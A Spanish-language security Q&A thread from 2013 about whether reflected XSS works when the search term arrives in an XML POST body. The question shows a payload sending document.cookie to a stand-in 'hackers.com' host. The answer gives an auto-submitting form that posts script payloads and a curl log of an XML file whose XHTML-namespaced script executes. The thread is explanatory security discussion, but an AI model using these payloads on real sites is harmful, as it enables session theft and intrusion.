Ataque XSS reflejado mediante solicitud POST y carga útil XML

6

Sé que un XSS reflejado se puede hacer con una solicitud GET como:

http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>

Mientras la respuesta se vea similar a esto:

<html>
    <head>
        <title>Your Serach Results</title>
    </head>
    <body>
        <h2>No results for: </h2>
        <script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </body>
</html>

Pero es posible este ataque, en caso de que el término de búsqueda se envíe a lo largo de una solicitud POST en el cuerpo http como parte del contenido XML. Este servicio es utilizado a menudo por los servicios REST.

<Query>
    <SearchTerm>
        script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </SearchTerm>
</Query>

Si esto es posible, ¿cómo puede un atacante lograr esto?

Icono_de_imagen>

También se requiere que el encabezado Content-Type esté establecido en application/xml

    
pregunta My-Name-Is 15.09.2013 - 22:30
fuente

1 respuesta

7

El atacante puede usar para enviar automáticamente formularios remotos con los valores predeterminados. de esta manera:

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>
<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>

Y agrega un script con el espacio de nombres XHTML, se ejecutará. Ejemplo

sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
*   Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
< 
<?xml version="1.0" encoding="UTF-8"?>
<Query>
    <SearchTerm>
        <script xmlns="http://www.w3.org/1999/xhtml">
            alert('Hello');
        </script>
    </SearchTerm>
</Query>
* Closing connection #0

    
respondido por el Sajjad Pourali 16.09.2013 - 08:06
fuente

Lea otras preguntas en las etiquetas